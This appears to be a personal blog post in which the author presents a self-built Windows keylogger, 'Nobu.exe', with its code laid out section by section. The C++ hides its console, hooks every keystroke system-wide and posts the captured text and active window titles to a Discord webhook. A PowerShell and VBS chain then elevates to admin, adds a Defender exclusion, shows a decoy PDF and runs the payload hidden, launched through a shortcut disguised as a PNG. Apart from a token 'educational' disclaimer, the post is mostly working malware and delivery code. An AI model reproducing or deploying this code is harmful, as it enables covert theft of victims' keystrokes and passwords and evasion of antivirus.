Building My First Malware: Nobu.exe
Okay so I made a keylogger
Let’s be real for a second. After days of dissecting absolute garbage-tier EXEs made by script kiddies, I though “Hey, I can do that”. Except less garbage. More cursed. And here we are, a fully functioning Windows keylogger that lives in the shadows, siphons keystrokes like a digital vampire, and dumps the loot into a Discord webhook like it’s sending confessions at 3AM.
All of this, by the way, is for educational purposes. Do not be a dumbass.
The Anatomy of a Keylogger
1. Go Ghost or Go Home
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Hide console window
void Stealth() {
#ifdef invisible
HWND hwnd = GetConsoleWindow();
if (hwnd) {
ShowWindow(hwnd, SW_HIDE);
FreeConsole();
}
#endif
}
// Single instance check
hMutex = CreateMutexW(NULL, TRUE, L"Global\\MyKeyloggerMutex");
if (GetLastError() == ERROR_ALREADY_EXISTS) {
if (hMutex) CloseHandle(hMutex);
return 0;
}
Hide the console. Check if there’s already a clone of this malware running. If so, exit quietly
2. Keyboard Hook Setup
1
2
3
4
5
6
7
8
9
10
11
12
// Keyboard hook callback
LRESULT CALLBACK HookCallback(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* kbdStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
Save(kbdStruct->vkCode);
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook() {
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}
We jam a hook straight into WH_KEYBOARD_LL. This means every key, across the OS, goes through us. That’s right, whether you’re writing an email or confessing to murder in Notepad, I see it all.
3. Key Processing and Special Characters
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const std::map<int, std::string> keyname{
{VK_BACK, "[BACKSPACE]"},
{VK_RETURN, "\n"},
{VK_SPACE, " "},
// ... other special keys ...
};
int Save(int key_stroke) {
std::string keystr;
if (keyname.find(key_stroke) != keyname.end()) {
keystr = keyname.at(key_stroke);
} else {
char key = MapVirtualKeyA(key_stroke, MAPVK_VK_TO_CHAR);
if (key > 0) {
keystr = std::string(1, key);
}
}
// Append to buffer...
}
You need to process it before storing. Special characters get converted. Everything else gets flushed into the buffer
4. Data Exfiltration to Discord
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bool SendToDiscord(const std::string& window_title, const std::string& keystrokes) {
std::string json =
"{"
" \"embeds\": [{"
" \"title\": \"Keystroke Capture\","
" \"color\": 16711680,"
" \"fields\": ["
" { \"name\": \"Active Window\", \"value\": \"" + EscapeJson(window_title) + "\", \"inline\": false },"
" { \"name\": \"Character Count\", \"value\": \"" + std::to_string(keystrokes.size()) + "\", \"inline\": true },"
" { \"name\": \"Logged Data\", \"value\": \"```" + EscapeJson(keystrokes) + "```\", \"inline\": false }"
" ],"
" \"timestamp\": \"" + GetISO8601Time() + "\""
" }]"
"}";
// HTTP POST via WinHTTP
}
Look, spinning up a whole command-and-control server is effort, and I already wasted enough braincells. Discord webhooks? Easy. Fast. Fancy JSON. Stealthy as hell (unless you just dump the webhook link as a whole). Just make sure not to hit rate limits or maybe you enjoy watching logs disappear into the void.
5. Threading and Buffering
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
std::string buffer;
std::mutex buffer_mutex;
void DiscordSender() {
while (running) {
Sleep(SEND_INTERVAL * 1000);
std::string copy_keystrokes;
std::string copy_window_title;
{
std::lock_guard<std::mutex> lock(buffer_mutex);
if (buffer.empty()) continue;
copy_keystrokes = buffer;
copy_window_title = buffer_window_title;
buffer.clear();
}
SendToDiscord(copy_window_title, copy_keystrokes);
}
}
Thread A logs your filthy typing habits. Thread B dumps it to Discord every few seconds.
Social Engineering: Delivery Mechanism
To get someone to run the payload, I went with a classic folder-trap bait setup. Here’s the structure:
1
2
3
4
5
6
7
📁 main_folder/
├── crypto.png.lnk <- shortcut disguised as an image
└── .nobu/ <- hidden folder
├── fakenobu.pdf
├── realnobu.pdf
├── batnobu.ps1
└── vbsnobu.vbs
The .nobu/
folder is hidden. crypto.png.lnk
points to the VBS, which runs the PowerShell script, which renames and executes the payload silently.
batnobu.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ScriptPath = Split-Path -Parent $MyInvocation.MyCommand.Definition
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
[Security.Principal.WindowsBuiltInRole] "Administrator")) {
Start-Process -FilePath "powershell.exe" -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs
exit
}
$realNobuPdf = Join-Path $ScriptPath "realnobu.pdf"
$realNobuExe = Join-Path $ScriptPath "realnobu.exe"
attrib -r -h -s $realNobuPdf
Rename-Item -Path $realNobuPdf -NewName "realnobu.exe" -Force
Add-MpPreference -ExclusionPath $realNobuExe
Start-Process "$ScriptPath\fakenobu.pdf"
Start-Process -FilePath $realNobuExe -WindowStyle Hidden
It asks for admin, renames the payload, adds it to Defender exclusions, opens the decoy, and runs the payload hidden.
vbsnobu.vbs
1
2
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""batnobu.ps1""", 0, False
Silent execution without a visible terminal. Does exactly what you think it does.
crypto.png.lnk
Shortcut pointing to vbsnobu.vbs
, icon changed to a PNG, name set to crypto.png
. Clicking it feels harmless. It’s not.
Takeaways
This experiment combined code and trickery. Turns out social engineering is way more powerful than just raw exploit code.
- Code is nothing without delivery
- Humans are easier to exploit than machines
- Defender exclusions are a joke
- Icon swapping + extension spoofing = free access
- Sometimes just renaming
.exe
to.pdf
is enough
There also alot of other social engineer method like using dll, Left-to-Right override (dont think it still work), change icon directly in the exe (resouce hacker is free btw) and other yet to be explored. Social engineering is a dark art. And once you realize how easy it is to fool a human, it kinda ruins everything. And also makes you want to reformat your entire brain. But hey, at least it was educational.
Sum up
This project made me realize something horrible and beautiful: malware is easy. Terrifyingly easy (at least the simple stuff).
A few lines of C++, a bit of WinAPI black magic, and you’ve got a fully operational surveillance drone.
The hardest part? Tricking people into clicking it.
So… maybe trust less. Click less.
And always check your Task Manager for that one weird mutex.
GitHub Repo:
Nobu